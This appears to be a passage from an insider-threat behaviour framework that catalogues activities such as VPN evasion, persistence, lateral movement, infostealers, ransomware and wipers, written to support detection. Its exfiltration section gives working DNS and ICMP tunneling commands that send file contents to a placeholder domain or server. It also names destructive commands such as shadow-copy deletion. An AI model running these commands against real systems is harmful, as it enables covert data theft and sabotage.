Network Intrusion Detection Systems

A subject intentionally provides system or data access to a third party that is not authorized to access it.

A subject can access the web with an organization device.

A subject is able to access external FTP servers.

A subject conducts a scan of a network to identify additional systems, or services running on those systems.

The subject installs and uses an unapproved VPN client, potentially violating organizational policy. By using a VPN service not controlled by the organization, the subject can bypass security controls, reducing the security team’s visibility into network activity conducted through the unauthorized VPN. This could lead to significant security risks, as monitoring and detection mechanisms are circumvented.

The subject enumerates organizational CCTV coverage through physical reconnaissance, network-based probing, or a combination of both. This behavior aims to identify surveillance blind spots, coverage patterns, and system weaknesses in order to plan insider activity such as unauthorized entry, covert data removal, or sabotage.

• Physical enumeration involves walking routes to observe camera placement, photographing or sketching locations, and identifying fields of view, blind spots, or coverage overlaps. Subjects may test movement within blind zones or note environmental features (e.g., pillars, furniture) that obstruct visibility.

• Network enumeration targets digital surveillance systems, including IP cameras, DVRs, NVRs, and PoE switches. Subjects may scan for active devices, query configurations, or attempt login with default credentials to discover camera IPs, firmware details, and accessible streams.

When combined, physical and network enumeration provide a sophisticated map of surveillance infrastructure. For example, a subject may confirm camera placement through on-site observation, then validate viewing angles and live coverage zones by remotely accessing the corresponding camera feeds across the network. This dual approach allows the subject to identify exact surveillance gaps, test whether specific areas are monitored, and plan movement or concealment with high confidence.

This behavior is a strong indicator of deliberate preparation, as it requires technical effort, situational awareness, and intent to circumvent organizational surveillance.

The subject deliberately or inadvertently introduces malicious software (commonly referred to as malware) into the organization’s environment. This may occur via manual execution, automated dropper delivery, browser‑based compromise, USB usage, or sideloading through legitimate processes. Malicious software includes trojans, keyloggers, ransomware, credential stealers, remote access tools (RATs), persistence frameworks, or other payloads designed to cause harm, exfiltrate data, degrade systems, or maintain unauthorized control.

Installation of malicious software represents a high-severity infringement, regardless of whether the subject's intent was deliberate or negligent. In some cases, malware introduction is the culmination of prior behavioral drift (e.g. installing unapproved tools or disabling security controls), while in others it may signal malicious preparation or active compromise.

This Section is distinct from general “Installing Unapproved Software”, which covers non‑malicious or policy-violating tools. Here, the software itself is malicious in purpose or impact, even if delivered under benign pretenses.

The subject establishes an outbound Virtual Private Network (VPN) connection from an organizational endpoint (or Bring-Your-Own-Device system) to an external VPN provider, proxy service, or remote-hosted infrastructure. This behavior may occur during early preparation for data exfiltration, coordination with external parties, or operational concealment.

VPN usage can allow a subject to bypass enterprise monitoring, obscure the true destination of outbound traffic, or simulate trusted connections. In some cases, VPN tunnels are used to bridge otherwise segmented environments, enabling access to personal devices, unmanaged infrastructure, or overseas collaborators.

The subject modifies a system, application, or operating environment to preserve unauthorized access, execution, or control beyond the initial activity. The persistence mechanism is intended to remain available following events that would ordinarily interrupt the subject’s access, including system restart, user logoff, application termination, credential changes, or the subject’s departure from the organization.

System persistence may be established through the creation or modification of scheduled tasks, cron jobs, system services, startup items, Registry autorun locations, login scripts, systemd units, Windows Management Instrumentation event subscriptions, SSH authorized keys, web shells, application extensions, or other automatically executed components. The subject may create a new persistence mechanism or alter an existing legitimate component so that unauthorized code, commands, or remote-access functionality is invoked without requiring repeated manual action.

This behavior is preparatory where the subject establishes the mechanism before an intended infringement, allowing access or execution to continue at a later time or under conditions in which the subject’s normal account is unavailable. Persistence may support subsequent unauthorized access, data collection, sabotage, surveillance, or execution by another party.

The subject accesses, connects to, or obtains the ability to execute actions on an additional organizational system beyond their current operating context. Destination systems may include servers, jump hosts, administrative workstations, cloud workloads, network devices, employee endpoints, or other systems reachable through organizational infrastructure.

Lateral movement may involve access that is technically authorized but inconsistent with the subject’s role, normal working pattern, or immediate business requirement. It may also involve unauthorized access obtained through another account, a remote service, an existing session, alternate authentication material, a centralized management platform, or exploitation of a vulnerable service.

This behavior is preparatory where movement to the destination system expands the subject’s reach, places them closer to sensitive data or functionality, or enables a later infringement.

The subject intentionally weakens or bypasses network security controls for a third party, such as providing credentials or disabling security controls.

A subject exfiltrates data from an organization by encapsulating or hiding it within an otherwise legitimate protocol. This technique allows the subject to covertly transfer data, evading detection by standard security monitoring tools. Commonly used protocols, such as DNS and ICMP, are often leveraged to secretly transmit data to an external destination.

DNS Tunneling (Linux)
A simple example of how DNS tunneling might be achieved with 'Living off the Land' binaries (LoLBins) in Linux:
 

Prerequisites:

• A domain the subject controls or can use for DNS queries.
• A DNS server to receive and decode the DNS queries.

Steps:

1. The subject uses xxd to create a hex dump of the file they wish to exfiltrate. For example, if the file is secret.txt:

xxd -p secret.txt > secret.txt.hex
 

2. The subject splits the hexdump into manageable chunks that can fit into DNS query labels (each label can be up to 63 characters, but it’s often safe to use a smaller size, such as 32 characters):

split -b 32 secret.txt.hex hexpart_

3. The subject uses dig to send the data in DNS TXT queries. Looping through the split files and sending each chunk as the subdomain of example.com in a TXT record query:

for part in hexpart_*; do
   h=$(cat $part)
   dig txt $h.example.com
done

On the target DNS server that they control, the subject captures the incoming DNS TXT record queries on the receiving DNS server and decode the reassembled hex data from the subdomain of the query.

DNS Tunneling (Windows)
A simple example of how DNS tunneling might be achieved with PowerShell in Windows:

Prerequisites:

• A the subject you controls.
  A DNS server or a script on the subjects server to capture and decode the DNS queries.

Steps:
1. The subject converts the sensitive file to hex:

$filePath = "C:\path\to\your\secret.txt"
$hexContent = [System.BitConverter]::ToString([System.IO.File]::ReadAllBytes($filePath)) -replace '-', ''

2. The subject splits the hex data into manageable chunks that can fit into DNS query labels (each label can be up to 63 characters, but it’s often safe to use a smaller size, such as 32 characters):

$chunkSize = 32
$chunks = $hexContent -split "(.{$chunkSize})" | Where-Object { $_ -ne "" }

3. The subject sends the data in DNS TXT queries. Looping through the hex data chunks and sending each chunk as the subdomain of example.com in a TXT record query:

$domain = "example.com"

foreach ($chunk in $chunks) {
   $query = "$chunk.$domain"
   Resolve-DnsName -Name $query -Type TXT
}

The subject will capture the incoming DNS TXT record queries on the receiving DNS server and decode the reassembled hex data from the subdomain of the query.

ICMP Tunneling (Linux)
A simple example of how ICMP tunneling might be achieved with 'Living off the Land' binaries (LOLBins) in Linux:
 

Prerequisites:

• The subject has access to a server that can receive and process ICMP packets.
• The subject has root privileges on both client and server machines (as ICMP usually requires elevated permissions).

Steps:

1. The subject uses xxd to create a hex dump of the file they wish to exfiltrate. For example, if the file is secret.txt:

xxd -p secret.txt > secret.txt.hex

2. The subject splits the hexdump into manageable chunks. ICMP packets have a payload size limit, so it’s common to use small chunks. The following command will split the hex data into 32-byte chunks:
 

split -b 32 secret.txt.hex hexpart_

3. The subject uses ping to send the data in ICMP echo request packets. Loop through the split files and send each chunk as part of the ICMP payload:

DESTINATION_IP="subject_server_ip"
for part in hexpart_*; do
   h=$(cat $part)
   ping -c 1 -p "$h" $DESTINATION_IP
done

The subject will capture the incoming ICMP packets on the destination server, extract the data from the packets and decode the reassembled the hex data.

A subject installs custom software or malware on an endpoint, potentially disguising it as a legitimate process. This software includes tripwire logic to monitor the system for signs of security activity.

The tripwire software monitors various aspects of the endpoint to detect potential investigations:

• Security Tool Detection: It scans running processes and monitors new files or services for signatures of known security tools, such as antivirus programs, forensic tools, and Endpoint Detection and Response (EDR) systems.
• File and System Access: It tracks access to critical files or system directories (e.g., system logs, registry entries) commonly accessed during security investigations. Attempts to open or read sensitive files can trigger an alert.
• Network Traffic Analysis: The software analyzes network traffic to identify unusual patterns, including connections to Security Operations Centers (SOC) or the blocking of command-and-control servers by network security controls.
• User and System Behavior: It observes system behavior and monitors logs (such as event logs) that indicate an investigation is in progress, such as switching to an administrative account or modifying security settings (e.g., enabling disk encryption, changing firewall rules).

Upon detecting security activity, the tripwire can initiate various evasive responses:

• Alert the Subject: It covertly sends an alert to an external server controlled by the subject, using common system tools (e.g., curl, wget, or HTTP requests).
• Modify Endpoint Behavior: It can terminate malicious processes, erase evidence (e.g., logs, browser history, specific files), or restore system and network configurations to conceal signs of tampering.

The subject initiates actions that degrade, overwhelm, or disable internal services, applications, or systems, denying legitimate access. These incidents may involve:
 

• Excessive or malformed queries to internal databases
• Overuse of automated scripts against internal APIs or systems
• Misconfiguration or manual tampering with internal service dependencies (e.g., message queues, schedulers)
• Saturation of internal network bandwidth or I/O on shared infrastructure
• Stopping system services

The subject deploys credential-harvesting malware (commonly referred to as an infostealer) to extract sensitive authentication material or session artifacts from systems under their control. These payloads are typically configured to capture data from browser credential stores (e.g., Login Data SQLite databases in Chromium-based browsers), password vaults (e.g., KeePass, 1Password), clipboard buffers, Windows Credential Manager, or the Local Security Authority Subsystem Service (LSASS) memory space.

Infostealers may be executed directly via compiled binaries, staged through malicious document macros, or loaded reflectively into memory using PowerShell, .NET assemblies, or process hollowing techniques. Some variants are fileless and reside entirely in memory, while others create persistence via registry keys (e.g., HKCU\Software\Microsoft\Windows\CurrentVersion\Run) or scheduled tasks.

While often associated with external threat actors, insider deployment of infostealers allows subjects to bypass authentication safeguards, impersonate peers, or exfiltrate internal tokens for later use or sale. In cases where data is not immediately exfiltrated, local staging (e.g., in %AppData%, %Temp%, or encrypted containers) may indicate an intent to transfer data offline or deliver it via alternate channels.

The subject deploys ransomware within the organization’s environment, resulting in the encryption, locking, or destructive alteration of organizational data, systems, or backups. Ransomware used by insiders may be obtained from public repositories, affiliate programs (e.g. RaaS platforms), or compiled independently using commodity builder kits. Unlike external actors who rely on phishing or remote exploitation, insiders often bypass perimeter controls by detonating ransomware from within trusted systems using local access.

Ransomware payloads are typically compiled as executables, occasionally obfuscated using packers or crypters to evade detection. Execution may be initiated via command-line, scheduled task, script wrapper, or automated loader. Encryption routines often target common file extensions recursively across accessible volumes, mapped drives, and cloud sync folders. In advanced deployments, the subject may disable volume shadow copies (vssadmin delete shadows) or stop backup agents (net stop) prior to detonation to increase impact.

In some insider scenarios, ransomware is executed selectively: targeting specific departments, shares, or systems, rather than broad detonation. This behavior may indicate intent to send a message, sabotage selectively, or avoid attribution. Payment demands may be issued internally, externally, or omitted entirely if disruption is the primary motive.

The subject deploys a Remote Access Tool (RAT): a software implant that provides covert, persistent remote control of an endpoint or server—enabling continued unauthorized access, monitoring, or post-employment re-entry. Unlike sanctioned remote administration platforms, RATs are deployed without organizational oversight and are often configured to obfuscate their presence, evade detection, or blend into legitimate activity.

RATs deployed by insiders may be off-the-shelf tools (e.g. njRAT, Quasar, Remcos), lightly modified open-source frameworks (e.g. Havoc, Pupy), or commercial-grade products repurposed for unsanctioned use (e.g. AnyDesk, TeamViewer in stealth mode). 

Functionality typically includes:

• Full GUI or shell access
• File system interaction
• Screenshot and webcam capture
• Credential harvesting
• Process and registry manipulation
• Optional keylogging and persistence modules

Deployment methods include manual installation, script-wrapped droppers, DLL side-loading, or execution via LOLBins (mshta, rundll32). Persistence is typically achieved through scheduled tasks, registry run keys, or disguised service installations. In some cases, the RAT may be configured to activate only during specific windows or respond to remote beacons, reducing exposure to detection.

The subject deploys destructive malware; software designed to irreversibly damage systems, erase data, or disrupt operational availability. Unlike ransomware, which encrypts files to extort payment, destructive malware is deployed with the explicit intent to delete, corrupt, or disable systems and assets without recovery. Its objective is disruption or sabotage, not necessarily for direct financial gain.

This behavior may include:

• Wiper malware (e.g. HermeticWiper, WhisperGate, ZeroCleare)
• Logic bombs or time-triggered deletion scripts
• Bootloader overwrite tools or UEFI tampering utilities
• Mass delete or format scripts (format, cipher /w, del /s /q, rm -rf)
• Data corruption utilities (e.g. file rewriters, header corruptors)
• Credential/system-wide lockout scripts (e.g. disabling accounts, resetting passwords en masse)

Insiders may deploy destructive malware as an act of retaliation (e.g. prior to departure), sabotage (e.g. to disrupt an investigation or competitor), or under coercion. Detonation may be manual or scheduled, and in some cases the malware is disguised as routine tooling to delay detection.

Destructive deployment is high-severity and often coincides with forensic tampering or precursor access based infringements (e.g. file enumeration or backup deletion).

A subject exfiltrates organizational data through an existing command-and-control channel established by malware, a remote access tool, backdoor, implant, agent, or unauthorized remote administration framework. The same communication pathway used to issue commands, maintain remote access, or control the compromised system is also used to transmit data outside the organization’s control.

This infringement may involve files, credentials, screenshots, system information, database exports, or other collected data being sent over HTTP/S, TCP, DNS, encrypted tunnels, or proprietary remote access protocols. Because the exfiltration occurs over an already established control channel, the data transfer may appear as part of existing outbound traffic rather than a separate upload or file-sharing event.

The subject places or modifies a server-side script, application file, or web component that permits unauthorized remote command execution through a web server or hosted application.

The subject establishes an interactive command-line, graphical, or cloud-native session with an additional organizational system. The subject may use Remote Desktop Protocol, Secure Shell, Virtual Network Computing, a cloud virtual-machine console, or an equivalent service to operate the destination system.

The subject uses a network-accessible administrative service or operating-system management interface to access resources, transfer content, execute commands, or perform actions on an additional organizational system without establishing an ordinary interactive desktop session.

Methods may include Server Message Block (SMB), Windows administrative shares, Distributed Component Object Model (DCOM), Windows Remote Management (WinRM), or remote Windows Management Instrumentation (WMI).

The subject takes control of an existing authenticated remote service session to operate an additional organizational system under the identity and access context of the session owner. The subject may hijack an active or disconnected RDP session, reuse an SSH agent or socket, or otherwise attach to a pre-existing remote session without completing a new authentication process.

The subject exploits a vulnerability in a network-accessible service, application, management interface, operating-system component, or hypervisor to obtain unauthorized access or execution capability on an additional organizational system.

This object applies as Preparation where exploitation is used to reach or establish an operating position on a destination system before a later infringement. Where the exploitation itself causes the principal harm, disruption, or unauthorized modification, investigators should also apply the relevant Infringement section.

The subject intercepts, alters, substitutes, suppresses, or redirects organizational data while it is moving between systems, applications, processes, interfaces, devices, or recipients. The destination consequently receives information that differs from the data originally transmitted.

The behavior may affect network traffic, application programming interface messages, middleware, message queues, email transport, print workflows, clipboard operations, transaction instructions, or other data-transfer mechanisms.